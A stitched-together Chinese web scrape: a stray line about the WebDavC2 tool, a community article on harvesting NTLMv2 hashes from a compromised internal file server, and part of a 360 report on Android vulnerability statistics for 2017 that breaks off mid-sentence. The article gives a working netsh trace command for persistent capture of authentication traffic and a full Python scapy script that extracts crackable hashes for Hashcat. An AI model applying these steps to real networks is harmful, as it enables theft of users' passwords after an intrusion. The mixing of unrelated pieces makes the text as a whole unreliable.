WebDavC2可以从这里下载：[https://github.com/Arno0x/WebDavC2](https://github.com/Arno0x/WebDavC2)
该代理是从我的另一个工具DBC2启发的，将这个代理的功能扩展到DBC2代理能力的程度很容易。 | 社区文章 |
## 0x00 前言
在上篇文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》比较了NTLM hash和Net-NTLM
hash的区别，本文将继续对Net-NTLM hash在内网渗透中的应用作介绍，解决一个有趣的问题：
**如果获得了内网一个文件服务器的权限，如何获得更多用户的口令？**
## 0x01 简介
本文将要介绍以下内容：
* 在windows平台下不安装任何第三方依赖库来进行网络抓包的方法
* 将数据包转换成pcap格式
* 使用Wireshark对数据包进行分析
* 编写Python提取出NTLMv2 Hash
* 使用Hashcat对Hash进行破解
## 0x02 解决思路
* * *
《Windows下的密码hash——NTLM hash和Net-NTLM
hash介绍》中提到，客户端在连接文件服务器时，默认会将当前登录用户的密码Hash发送至服务器进行验证，如果验证失败，需要重新输入登录用户名和口令
如果获得了内网一个文件服务器的权限，那么内网中的其他主机在使用界面尝试访问该服务器时，首先会将本机的密码Hash发送至服务器进行验证，在服务器端抓取数据包能够获得NTLM
Response，对NTLM Response的格式进行解析，提取特定信息，使用Hashcat尝试字典破解或者暴力破解，就有可能还原出用户本机的明文口令
所以，接下来需要解决第一个问题： **如何在文件服务器上抓取数据包？**
## 0x03 Windows平台下进行网络抓包的方法
* * *
最常用的方法当然是安装Wireshark，但如果能找到一种不安装任何第三方依赖库、系统自带、直接用来抓包的方法岂不是更好？
方法当然是有的。
通过Windows系统自带的netsh中的trace功能能够实现不安装任何第三方依赖库，在命令行下进行抓包
支持Win7、Server2008R2及以后的系统，但不支持Server2008
官方说明文档：
<https://technet.microsoft.com/en-us/library/dd878517%28v=ws.10%29.aspx>
**注：**
netsh trace需要管理员权限
使用方法：
### 1.开启记录功能
netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication
参数说明：
* capture=yes： 开启抓包功能
* persistent=yes： 系统重启不关闭抓包功能，只能通过Netsh trace stop关闭
* traceFile： 指定保存记录文件的路径
* overwrite=yes： 如果文件存在，那么对其覆盖
* correlation=no： 不收集关联事件
* protocol=tcp： 抓取TPC协议
* ipv4.address=192.168.62.130： 限定只抓和服务器IP相关的数据包
* keywords=ut:authentication： 关键字为ut:authentication
加上以上限定参数是为了尽可能减小数据包大小，只筛选出SMB协议中同NTLMv2认证有关的内容
**注：**
同级目录下会生成系统的配置文件压缩包，后缀名为.cab
### 2.关闭记录功能
Netsh trace stop
关闭功能后，系统会将捕获到的数据包保存为etl结尾的文件
演示如下图
### 3.查看etl文件
etl文件无法直接打开，需要借助工具windows message analyzer将其转换成.cap格式(Wireshark能够识别)
windows message analyzer下载地址：
<https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226>
安装后打开etl文件，等待文件识别，识别成功后界面左下角提示`Ready`，如下图
### 4.转换成.cap格式
`File`-`Save as`-`Export`，保存成cap包格式
使用Wireshark打开cap包文件，成功读取数据包文件，获得服务器上的数据包
从数据包中能找到SMB2协议，如下图
提取其中的一组数据包，还原出NTLM v2的关键信息，如下图
拼接固定格式： `username::domain:challenge:HMAC-MD5:blob`
使用Hashcat进行破解
**注：**
详细破解方法可参考文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》，本文不再演示
如果手动组装多个NTLM v2响应包，费事费力，所以需要编写程序自动解析数据包，提取出Hashcat可用的NTLM v2内容
这就是第二个问题： **如何通过程序实现自动解析数据包，提取NTLM v2的内容？**
## 0x04 通过程序实现自动解析数据包
* * *
开发语言： python
python模块： scapy
说明地址：
<https://github.com/invernizzi/scapy-http>
安装：
easy_install scapy
easy_install scapy_http
scapy能够解析pcap数据包，所以在使用前，先使用Wireshark将.cap包转换成pcap包
scapy示例代码如下：
try:
import scapy.all as scapy
except ImportError:
import scapy
try:
# This import works from the project directory
import scapy_http.http
except ImportError:
# If you installed this package via pip, you just need to execute this
from scapy.layers import http
packets = scapy.rdpcap('test.pcap')
for p in packets:
print('=' * 78)
p.show()
自动解析出每个数据包的格式，分为Ethernet、IP、TCP和Raw，如下图
程序开发思路：
1.对目的端口进行判断，选出SMB协议的数据包
2.筛选出NTLMv2 Response数据包
3.通过当前数据包获得username、domain、HMAC-MD5和blob
4.通过前一数据包获得Server challenge
具体实现：
#### 1.选出SMB协议的数据包
目的端口为445
packets[p]['TCP'].dport == 445
#### 2.筛选出NTLMv2 Response数据包
TCP payload包含特殊字符串NTLMSSP
packets[p]['Raw'].load.find('NTLMSSP') != -1
#### 3.获得通过当前数据包获得username、domain、HMAC-MD5和blob
HMAC-MD5和blob为固定位置，直接通过固定偏移即可获得
username和domain为固定格式，2字节表示Length，2字节表示Maxlen，4字节表示偏移，值得注意的2字节长度实际上为int型数据，在读取时高低位要互换
例如读取出16进制数据为4601，实际计算的是0146转换成10进制的值，为326
DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256
DomainLength = DomainLength1 + DomainLength2
domain以Unicode格式保存，需要转换成ascii，具体实现是把字符串转换成数组，只取奇数位
DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
DomainName = ''.join(DomainName)
完整实现代码如下：
#!/usr/bin/env python
try:
import scapy.all as scapy
except ImportError:
import scapy
try:
# This import works from the project directory
import scapy_http.http
except ImportError:
# If you installed this package via pip, you just need to execute this
from scapy.layers import http
packets = scapy.rdpcap('6.pcap')
Num = 1
for p in range(len(packets)):
try:
if packets[p]['TCP'].dport ==445:
TCPPayload = packets[p]['Raw'].load
if TCPPayload.find('NTLMSSP') != -1:
if len(TCPPayload) > 500:
print ("----------------------------------Hashcat NTLMv2 No.%s----------------------------------"%(Num))
Num = Num+1
print ("PacketNum: %d"%(p+1))
print ("src: %s"%(packets[p]['IP'].src))
print ("dst: %s"%(packets[p]['IP'].dst))
Flag = TCPPayload.find('NTLMSSP')
ServerTCPPayload = packets[p-1]['Raw'].load
ServerFlag = ServerTCPPayload.find('NTLMSSP')
ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")
print ("ServerChallenge: %s"%(ServerChallenge))
DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256
DomainLength = DomainLength1 + DomainLength2
#print DomainLength
DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]
DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
DomainName = ''.join(DomainName)
print ("DomainName: %s"%(DomainName))
UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)
UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256
UserNameLength = UserNameLength1 + UserNameLength2
#print UserNameLength
UserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]
UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]
UserName = ''.join(UserName)
print ("UserName: %s"%(UserName))
NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)
NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256
NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2
#print NTLMResPonseLength
NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode("hex")
#print NTLMResPonse
print "Hashcat NTLMv2:"
print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))
except:
pass
执行后程序输出如下图
接着使用Hashcat进行破解即可
## 0x05 补充
* * *
对于文件服务器，如果开启了NetBIOS over TCP/IP，那么禁用445端口后，系统会尝试使用139端口进行连接
测试如下：
服务器禁用445端口，开启139端口
客户端尝试连接，SMB协议使用139端口，抓包如下图
如果禁用了NetBIOS over TCP/IP，那么禁用445端口后，无法使用文件共享
## 0x06 小结
* * *
本文解决了在获得内网一个文件服务器的权限后，获得更多用户的口令的问题。
通过Windows命令行抓包获得SMB协议内容，编写程序自动提取NTLMv2 Hash，使用Hashcat进行破解，有可能还原出用户本机的明文口令 | 社区文章 |
# 2017年度安卓系统安全性生态环境研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 摘 要
此报告数据来源为“360透视镜”（360发布的一款专业检测手机安全漏洞的APP,
http://shouji.360.cn/vulscanner.htm）用户主动上传的80万份漏洞检测报告，检测内容包括最近两年的Android和Chrome安全公告中检出率最高的64个漏洞，涵盖了Android系统的各个层面。
检测结果显示，截止至2017年12月，所测设备中93.94%的Android手机存在安全漏洞，有6.06%的设备完全没有检测出漏洞，安全程度同比上升1.64%，这一数据刷新了国内安卓系统安全生态情况的最高纪录，同比2016年，手机安全程度呈上升趋势。
Android版本占比最高的3个版本分别为Android 6.0、Android 5.1和 Android
4.4，比例分别为38%、28%和22%，Android 7.0和7.1版本所占比例分别为3%和4%，而最新版的Android
8.0和8.1版本占比几乎为0%。从结果上看，Android版本高低和漏洞数量多少并没有严格的线性关系，在高版本系统上（7.0及以上），漏洞数量明显减少，平均漏洞数有所降低。与上季度相比，用户整体的版本更新和推进变化不大，Android
6.0依旧是用户量最多的系统，高版本系统7.0和7.1继续保持缓慢上升趋势；在平均漏洞数方面，以6.0版本为分界线，6.0及以下平均漏洞数量整体保持上升，而7.0及以上的平均漏洞数相比上个季度则有所降低。虽然检测的漏洞总案例在继续增加，但高版本系统平均漏洞降低的这种情况与新版本系统中安卓系统安全补丁的普及有很大的关系。
用户手机的平均漏洞数量存在比较明显的地域特征，上海、广东、天津等地区的用户手机平均漏洞数量最少，青海、宁夏、甘肃等地区的用户手机漏洞数量相对较多。这一数据的顺序较上一季度略有变化，整体平均漏洞数基本持平。
不同性别的用户平均系统版本较上一季度均有所提升，男性用户的手机版本平均比女性用户的手机版本低，女性用户的手机平均漏洞数量比男性用户低。
在安全更新推送时效性方面，本季度的检测结果显示推送安全更新最及时的TOP 5品牌分别为VIVO、三星、华为、小米和OPPO。
其中87.4%的设备存在浏览器内核相关漏洞，浏览器内核漏洞最多的设备同时存在4个漏洞，占比18.2%，仅有12.6%的设备不受浏览器内核漏洞影响。与上一季度相比，浏览器安全情况有较大缓解，通过我们的观测，这与浏览器内核的升级有直接关联，新版本浏览器内核所占比例明显有所增长。
安卓手机用户中，约有46.0%的用户会保持手机系统（特指安全补丁等级）版本与厂商所提供的最新版本保持一致，约有14.6%的用户的手机系统版本会保持滞后厂商最新版本1到3个月，接近9%的用户会滞后4到6个月，其余用户会滞后半年以上。其中保持手机系统更新的用户相较上个季度无明显差异，同比2016年，也无明显差异。
与安卓官方最新更新情况相比，用户手机系统平均滞后了约11.1个月；但与手机厂商已经提供该机型的最新版本相比，则平均只滞后了4.1个月。这两项数据上看，安全补丁的更新环比均有所滞后，但整体差距不大。由此可见，用户手机因未能及时更新而存在安全漏洞的重要原因之一，就是手机厂商普遍未能实现其定制开发的安卓系统与Google官方同步更新，而且滞后性比较明显。
**关键词：安卓安全、安卓漏洞、漏洞检测。**
## 研究背景
在中国，Android系统作为智能手机中市场占有率最高的移动操作系统，承载着亿万手机用户的生产生活，大量的Android开发人员为其添砖加瓦。但树大招风，Android智能手机也暴露在各种恶意软件、系统漏洞的威胁之中，无数恶意软件、电信诈骗不断挑战用户的安全意识，但各种隐藏在系统之中的系统漏洞对用户的手机安全影响更为可怕。
由于Android操作系统目前仍未有非常完善的补丁机制为其修补系统漏洞，再加上Android系统碎片化严重，各手机厂商若要为采用Android系统的各种设备修复安全问题则需投入大量人力物力。
随着各种系统漏洞的不断披露，现存的Android智能手机就像一艘漏水的船，纵然手机安全软件能够缓解一些安全隐患，但系统中的漏洞仍未能有效修补，攻击大门依旧打开。而Android平台之上的安全软件又无法被授予系统的最高权限，因而Android系统安全问题一直非常棘手。
为了让消费者了解到自己手机的安全性，360历时一年打造了中国第一个Android平台的手机漏洞检测工具“360透视镜”（https://shouji.360.cn/vulscanner.htm），并向社会公开，任何用户和个人都可下载安装。“360透视镜”应用依据Android官方提供的安全补丁更新通知作为漏洞信息来源，在Android系统上实现了无需申请敏感权限即可检测Android系统中存在的漏洞这一核心功能，降低了用户了解自己手机安全状况的限制门槛。
此报告基于“360透视镜”应用用户主动上传的80万份漏洞检测报告，检测内容包括近两年（最新漏洞检测更新至2017年12月）Android与Chrome安全公告中检出率最高的64个漏洞，涵盖了Android系统的各个层面，且都与具体设备的硬件无关。我们统计并研究了样本中的漏洞测试结果数据，并对安全状况予以客观具体的量化，希望引起用户和厂商对于手机系统漏洞的关注与重视，为Android智能手机用户的安全保驾护航，并希望以此来推进国内Android智能手机生态环境的安全、健康发展。
## 第一章 手机系统安全性综述
### 一、 系统漏洞的危险等级
此次报告评测的64个系统漏洞，按照Google官方对系统漏洞的危险评级标准，按照危险等级递减的排序规则，共分为严重、高危、中危三个级别。即“严重”级别的漏洞对系统的安全性影响最大，其次为“高危”级别漏洞，然后为“中危”级别漏洞，低危漏洞未入选。
在这64个漏洞中，按照其危险等级分类，有严重级别漏洞11个，高危级别漏洞36个，中危级别漏洞17个。其中高危以上漏洞对用户影响较大，在此次安全评测中对此类漏洞的选取比例达73.4%。
此次系统安全分析结果显示：
87.5%的Android设备受到中危级别漏洞的危害，93.9%的Android设备存在高危漏洞，88.1%的Android设备受到严重级别的漏洞影响。
### 二、 系统漏洞的危害方式
此次报告评测的64个系统漏洞，参照Google官方对系统漏洞的技术类型分类标准并加以适当合并，按照各漏洞的明显特征分类，共分为远程攻击、权限提升、信息泄漏三个类别。远程攻击漏洞是指攻击者可以通过网络连接远程对用户的系统进行攻击的漏洞，权限提升是指攻击者可以将自身所拥有的权限得以提升的漏洞，信息泄漏则为可以获得系统或用户敏感信息的漏洞。
在这64个漏洞中，按照其危害方式分类，有远程攻击漏洞30个，权限提升漏洞24个，信息泄漏漏洞10个。
此次系统安全分析结果显示：92.3%的设备存在远程攻击漏洞，91.5%的设备存在权限提升漏洞，85.6%的设备存在信息泄露漏洞。与往期相比，虽然检测漏洞数又有所增加，但影响设备比例有所降低，主要原因为部分设备的厂商大幅度更新手机的安全性，将设备的补丁等级保持与谷歌同步，修复了所有漏洞。
为了观察不同类别的漏洞中哪些影响的设备比例最多，我们分别对三种类别的漏洞进行统计排序，挑选出了各类别中影响设备比例占比前三名的漏洞，其中影响最广泛信息泄露漏洞仍然为CVE-2016-1677，72.5%的设备都存在这个漏洞，环比上升1.8%；权限提升漏洞中，CVE-2017-0666依然影响最广，77.7%的设备均受影响，影响比例下降5.2%；远程攻击漏洞中，CVE-2015-7555影响设备依然最多，影响77.7%的设备，下降10.5%。而第三季度中我们关注的CVE-2016-3861在本季度中影响设备比例已经退出Top3，取代它的位置是漏洞CVE-2015-6764，影响63.0%的设备。
第二季度中Android
新修复并公开的CVE-2015-7555漏洞在本季度中影响设备数量依然十分庞大，同比仅降低了10.5%，并且预计在未来一段时间仍会如此。CVE-2017-13156即是12月披露的“Janus”漏洞，影响59.7%的设备。
远程攻击漏洞，是危险等级高、被利用风险最大的漏洞，也是我们最关注的漏洞，为此我们统计了每期报告中远程攻击漏洞排名Top3的趋势变化，结果如下图所示。
远程攻击漏洞整体呈下降趋势，但是受漏洞影响的设备依旧保持在较高比例，4成以上的用户手机仍然处于被远程攻击的风险之中，安全形势并不乐观。
### 三、 系统浏览器内核的安全性
系统浏览器内核是用户每日使用手机时接触最多的系统组件，不仅仅是指用户浏览网页的独立浏览器，实际上，许多安卓应用开发者考虑到开发速度、保障不同设备之间的统一性等因素，会使用系统提供的浏览器内核组件。因而用户在每日的手机使用中，大多会直接或间接地调用了系统浏览器内核。
在此次评测中，系统浏览器内核是指Android系统的Webview组件的核心，在Android
4.4之前，Android系统的Webview是基于Webkit的，在Android
4.4及以后的系统中，Webview的核心被换成了Chromium(Chrome的开源版本，可近似理解为Chrome)。
在统计的样本中，其中Webkit内核版本由于其版本较为一致，故在示意图中仅占一块，其余为Chrome内核的不同版本。本季度Webkit所占比重几乎为0%，较上季度降低9%。截止至本季度，当前Google发布的Android平台Chrome稳定版的内核的最新版本为Chrome
60，而在此次检测中有1%的用户将自己手机中的浏览器内核升级至最新。而从图中可以看出，Chrome内核版本大于等于55的设备占24%。对比上一季度的数据，版本大于50的设备比例有所增长，从18%增至27%。在此次检测中，并且最新版本60在国内用户之中占比1%，同比上季度增长0.91%，说明国内厂商有更新浏览器内核的举措。总的来说，浏览器内核整体版本有所跟新推进，国内安卓生态圈中对浏览器内核的更新进度相对有所增强，但仍存在严重的更新滞后问题，第二节远程攻击漏洞中跻身Top3的CVE-2015-6764，即是浏览器内核漏洞，足以说明这一点。
为了研究不同浏览器内核版本的安全性，我们统计了不同版本的浏览器内核的平均漏洞个数。下图显示了不同Webview版本平均漏洞数量，其中内核版本在Chrome
46以下的版本中漏洞数量明显高于Chrome 47以上版本，Chrome
55以上版本漏洞数量相对最少。从图中可以看出较新版本浏览器内核漏洞数量相对较少，其中Chrome
57版本及以上的设备平均漏洞检出情况则为0。以上数据充分说明保持最新版本的浏览器内核可以十分有效增强手机浏览器内核的安全性。
浏览器内核漏洞多数可通过远程方式利用，因而对于用户的手机安全危害较大。安卓系统浏览器内核漏洞的分布情况如下图所示。其中87.4%的设备存在至少一个浏览器内核漏洞，18.2%的设备同时存在4个浏览器内核漏洞，为漏洞数量最多的设备。有12.6%的设备不受这些漏洞影响。较上一季度，浏览器安全情况有所上升，但上升比例不大。整体来看浏览器安全状态有所缓解，浏览器内核版本的更新所带来的效果十分显著，但老旧设备的升级情况无明显好转，用户依然暴露在浏览器漏洞的威胁之中。
### 四、 系统漏洞的数量分布
为了研究用户手机中漏洞数量的分布规律和对用户手机中的安全等级做一个直观的评分，我们统计了所有样本中手机存在漏洞个数的比例分布，结果如下图所示。
在此次测试中，我们检测了64个已知漏洞，有93.94%的设备存在至少一个安全漏洞，漏洞最多的设备同时包含有49个安全漏洞。这一数据较上一季度95.58%的比例降低幅度不大，其他漏洞个数的比例情况与上一季度相比整体有所降低，但依然保持较高的比例。
为了研究近两年用户手机中漏洞数量的变化，同时反映用户手机安全性的变化情况，我们总结了2016年到2017年的漏洞数量比例分布及趋势，结果如下图所示。
可以发现，手机存在漏洞的比例，整体呈下降的趋势。2017年第一季度，10个及以上漏洞的比例下降幅度增加，跟该季度较高比例的系统更新有直接关系，第五章第二节也会有相应的数据反映这一现象。2017年第一到第二季度漏洞比例有所上升，与这期间新增漏洞检测样本数量有关，这也说明一旦加大检测力度，用户手机整体的安全形势将会表现的更加严峻。
如果手机厂商积极做好手机系统的安全补丁更新工作，现行手机系统的安全情况就会有明显的提升。虽然国内厂商在不断地对安卓设备进行安全更新，但是安全漏洞也在层出不穷，存在漏洞的设备比重仍然居高不下。
### 五、 手机安全生态宏观描述
为了研究用户手机中漏洞数量的宏观情况，我们统计了如下宏观描绘图。
其中，各个独立的方块都代表一款具体型号的安卓设备；方块面积表示该型号设备使用人数的多少，使用的人数越多则相应面积越大；其颜色由绿色到红色之间的渐变代表了该型号设备的平均安全水平。由图中可以看出，较为安全的绿色方块数量依旧较少，整体安全情况依旧比较严峻。对比上一季度，新设备的安全补丁更新情况有了很大的进步，厂商对于手机系统安全补丁的重视程度和投入有了明显的改善，多数国内主流厂商均有更新推送新设备的安全补丁，部分厂商则将系统更新至与安卓官方同步（2017-12），但宏观上看安全情况更加严峻，主要原因是新设备所占比例相对较低，正在使用的设备绝大部分还是难以更新的老旧设备。
## 第二章 手机系统版本安全性
### 一、 各系统版本漏洞情况
由于Android系统在升级时不可直接跨版本升级而厂商往往又不愿意为旧机型耗费人力物力适配新系统，因而在一定程度上导致了Android系统版本的碎片化。
为了研究不同版本的安卓系统的安全性，我们统计了样本手机所使用的安卓版本分布，并进一步对这些不同的版本的漏洞数量进行了统计分析。
采用Android系统版本的分布情况如下图所示，在此次样本中，Android系统占比最高的3个版本分别为Android 6.0、Android
5.1和Android 4.4，比例分别达到38%、 28%和22%，而高版本中Android 7.0和7.1版本所占比例分别为3%和4%， Android
8.0及以上接近为0。
与上一季度相同，Android 6.0依旧成为最流行的系统版本，与历史进程和我们的预期均相符。Android 5.1 和Android
4.4所占比例继续降低，但低于6.0版本的设备依然占据了约60%的比例。Android
7.0和7.1的比例有小幅度上升，这不光意味着版本号上的更新，更意味着更多的用户能够享受到新版Android
系统所带来的一系列安全更新，其中包括引入的隐私敏感权限动态管理功能，而这在一定程度上极大的增强了用户手机隐私的安全性。目前最新的系统为Android
8.0，其中引入了一项叫做Project
Treble的功能，在未来可以缓解安卓系统更新滞后的问题，我们也希望看到这一功能得以最大化发挥作用。但由于新系统、新设备无法第一时间大范围更新，故短时间内，安卓系统的碎片化和老旧设备的比例依然会保持较高比例，安全状况依然形势严峻。
通过对每个Android版本平均漏洞数量进行统计，得到如下图所示结果。从图中可看出Android
5.1及其以下版本平均漏洞数量较多，且整体较上一季度的平均漏洞数保持增加趋势，这很大程度上是由于部分老旧设备无法获得更新而我们检测的漏洞又在持续增加，因此造成了这种现象；而Android
6.0以上系统则更为安全，平均漏洞数量急剧降低。其中比较新的Android
7.0和7.1的系统中，平均漏洞数较上一季度有所降低，这主要是由于新版本的系统中安全补丁推送已经较为普及，厂商对于新版本系统的推送积极度有所上升。
从图中可以看出，安卓系统版本与漏洞数量并不是简单的线性关系。Android
5.0以下版本漏洞数量随版本升高而递增，并不是说明Android版本越高越不安全，而是因为此次检测主要关注的是最近两年的漏洞，而Android
4.4发布距今已经过去了3年的时间，因而相对版本越老的Android系统因为不支持较新的功能而可能不存在相应的漏洞。Android
5.0以上版本，随着系统版本升高，漏洞数量急剧减少。
环比上季度的数据，除7.0和7.1外，其余版本系统的平均漏洞数均有所增加，这是由于本季度又新修复和公开了一些漏洞，而这些漏洞中有些漏洞影响范围十分广泛。
实际上系统的安全性受到厂商重视度、系统功能的多少与变动，甚至服役时间、普及程度、恶意攻击者的攻击价值等等因素的共同影响，但修补了历史已知漏洞的最新系统往往会相对安全些。
### 二、 安卓系统漏洞缓解措施
随着Android版本号的提升，其安全手段与漏洞缓解措施也在逐次加固。通常来说，版本越新的安卓系统，其安全防护手段越强，系统漏洞利用的难度也越大。
例如，从Android 4.3开始引入SELinux沙盒机制，并在后续的版本中不断对其进行加固 ，从Android
5.0开始，引入全盘加密，以保证用户的信息安全。Android
7.0中提供了基于文件的加密，进一步保证了用户的信息安全；并实现了深层次的地址随机化机制，使得本地权限提升的攻击难度显著提高。该版本Android系统中谷歌工程师对Media
Server进行了重构，将其按照最小权限原则将之分隔成多个独立的进程与组件，从而即使其中某一个进程或组件存在漏洞，攻击者也无法在别的进程空间内执行代码；并且在整个Media
Server的编译过程中新增了整型溢出防护机制，从而从编译阶段杜绝类似于Stagefright漏洞利用情况的出现。在最新的Android
8.0中，系统的安全性又进一步增强，如引进 Project Treble，进一步提升了对设备特定组件的攻击保护；Webview方面也有提升，Android
8.0 中Webview运行在独立的沙箱进程中，对系统其余部分的访问非常有限。
不论从漏洞数目，还是漏洞防护机制上，最新版本的安卓系统均比低版本安卓系统安全性更好。而国内由于安卓碎片化的情况，仍存在大量低版本的带有漏洞的安卓设备。
## 第三章 手机系统安全性地域分布
正如电信诈骗、伪基站等有明显的地域分布特征，为了更加细致地探究系统漏洞与不同省市之间的关系，我们根据样本数据中地域信息进行了统计和分析。
下图为各省份平均每台手机漏洞数量，数值越大，说明该地域安卓手机的安全性相对越低、越不安全；数字越小，则代表该地域安卓手机的安全性越高。手机安全性最低的前三名为青海、宁夏、甘肃，平均每台手机拥有漏洞数分别为22.8、22.6、22.1个。而安全性最高的前三名为上海、广东、天津，平均每台手机拥有漏洞数18.7、19.4、19.6。大致上，经济越发达的地区，用户所使用的手机的平均漏洞数量越少，手机安全性相对越高。
用热力图表示如上图所示，可以更好的看出平均漏洞数的地域分布特征。颜色越红的地区，手机的安全性越低，颜色越浅的地区，手机安全性越高。
## 第四章 手机系统安全性与用户性别的相关性
由于性别上天生的性格、喜好等的差异，不同性别的用户在选择手机时可能会有不同的侧重点，比如女性用户可能在外观、轻薄、颜色等方面着重考虑，而男性可能更侧重性能、屏幕尺寸等因素。一部手机在其服役周期内也可能会因时间的推移而被不同的使用者所使用，而厂商在手机的升级维护中，不同手机又会有不同的策略。
为了探究手机系统的安全性与用户性别之间有无联系，我们调研了1000位用户的性别信息，统计了不同性别用户与其手机的安全性之间可能的关系。
从上图中，我们可以清晰的看出：男性使用系统版本大于或等于5.1的手机的比例远低于女性用户，包括各版本的比例中，男性用户使用的比例也明显低于女性用户；而男性用户中使用系统版本低于5.1的比例要远高于女性用户所占的比例，包括各版本的比例中，男性用户使用的比例也明显高于女性用户。即女性用户中，使用新版本手机的比例明显高于男性，这一结论在上述数据中，以6.0为界限统计的宏观角度和以不同安卓小版本单独统计的微观角度都成立。
在不同性别的用户手机的所存在的漏洞情况如上图所示。我们可以看到女性手机的平均系统版本数值约为22.2
(数值为系统API版本，为Google官方为便于安卓版本的计数而提供的一个版本的数字代号，其中
5.0为21，5.1为22)，即平均使用的版本号接近Android 5.1，而男性使用的平均版本号为21.7，平均使用的Android版本号也接近5.1。
对比上季度的统计数据，男性和女性的平均系统版本均有所提升，其中女性平均版本号提升了0.4，男性则为0.7。
在此次统计中，我们发现，女性手机平均版本比男性要高，且均大于等于5.1，而平均漏洞数女性手机所存在的漏洞数量也是低于男性。这与上面我们分析的漏洞数量与系统新旧不是简单的线性关系有关，并且和我们上述对于不同版本的安卓系统的漏洞数中的高于5.1版本的系统的平均漏洞个数开始递减的结论保持一致。
## 第五章 手机系统安全漏洞的修复
受到Android系统的诸多特性的影响，系统版本的碎片化问题日益突出。就每一款手机而言，厂商在其维护周期内，通常会隔一段时间向用户推送一次升级版本，而用户在大多数情况下可以自主选择升级或不升级。综合这些特性，在Android系统的安全漏洞方面，也产生了严重的碎片化问题。
在Android系统中，存在一个名为“Android安全补丁级别”的字段，它是谷歌公司向第三方安卓手机厂商推送的一个Android安全补丁的日期号，旨在为安卓设备的已知漏洞的修复情况做一个简单的说明。当前谷歌对于Android
4.4及其上版本号的安卓系统会定期推送更新，如果厂商遵循谷歌公司的建议正确打入补丁，那么手机中显示的安全补丁级别日期越新，手机的安全情况就相对越安全。
为了探究手机系统中已知安全漏洞的修复情况，我们对样本中不同设备型号、不同系统安全漏洞的修复情况做了相关研究。
### 一、 厂商漏洞修复情况
为了探究国内厂商为现存设备修复安全漏洞的情况，我们统计了样本中不同厂商手机目前的安全补丁级别情况。
下图为各厂商手机中实际存在的安全补丁级别情况，该情况是将各厂商现存手机中实际补丁日期与谷歌官方最新版本（2017年12月）版本对比，综合安全补丁级别最高、最新的手机品牌前5名。图中绿色方块面积越大，说明该厂商的手机补丁级别相对越高，漏洞修复相对越及时；相反，如果黄色和橙色面积越大，则说明补丁级别越低，漏洞修复越滞后。
图中我们可以看出，在及时推送安全补丁级别方面，VIVO，三星、华为、小米、OPPO这五个厂商在本季度的检测结果显示较好，而且在本季度的调研中这五个厂商均有保持与谷歌最新安全补丁同步的更新提供，这也显示了厂商对于用户手机中安全补丁等级的逐步重视。
### 二、 用户主动升级意愿
对于每一款安卓手机，其手机中运行的系统大多由手机厂商在其维护周期内提供。由于手机服役周期超出厂商维护周期，往往导致手机系统无法与最新的安卓版本保持一致。加之不同厂商对不同手机的支持维护程度不尽相同，在某些机型中，有些用户即使有意愿将系统保持与谷歌最新版本一致，但由于厂商对此机型无支持、推送计划，导致用户最多只能保持到厂商最新版本。
为了探究用户主动升级系统的意愿，我们统计了不同机型、不同安全补丁级别的分布情况。此统计为在每个机型中，观察用户是否主动保持这个厂商对此机型提供最新版本。
从数据中可以看出，约有46.0%的用户能够保持手机系统中安全补丁等级的版本与厂商所能提供的最新版本保持一致。整体上，可以明显发现近一半的用户还是会保持手机系统的更新。但是仍有14.6%的用户的系统版本滞后厂商最新版本一个月及以上，大约9.0%的用户手机版本滞后4-6个月，约17.9%的用户手机版本滞后半年以上，有12.4%的用户手机版本滞后官方最新版本达一年以上，而这些用户将比保持系统更新的用户更多地暴露在更多的漏洞与更大的攻击风险之下。对比上季度的数据，各分布所占比例略有变化，但保持更新部分仍然保持在46%左右，本季度滞后半年以上的比例有小幅度上升。
我们统计了近两年来用户与手机厂商保持更新的比例变化情况，如下图所示。
整体来说，近半用户还是会愿意保持系统更新至最新版本，但是保持更新的比例并没有呈现上升趋势，而且更新比例仍然偏低，一半以上的用户手机处于高风险状态。
### 三、 漏洞修复综合分析
下图给出了用户手机系统与安卓官方系统、手机厂商系统的更新情况对比。
可以看到，近一半的手机用户能够保持手机系统与厂商最新系统的同步更新，且6成以上的用户能够在厂商推出更新版本后三个月内更新自己的手机；但能够享受与安卓官方最新系统保持同步更新服务的用户则仅为5%，滞后时间小于3个月的用户也只有近20%，较上季度比例均有所下降。
综合对比用户手机系统的更新状态、安卓官方的更新状态和手机厂商的更新状态，我们发现：与安卓官方最新更新情况相比，用户的手机系统平均滞后了约11.1个月，但与手机厂商已经提供该机型的最新版本相比，则平均只滞后了4.1个月，由此可见，用户手机因未能及时更新而存在安全漏洞的重要原因之一，就是手机厂商普遍未能实现其定制开发的安卓系统与安卓官方同步更新，而且延时较大。
## 第六章 典型手机系统高危漏洞实例
经过上述对 Android
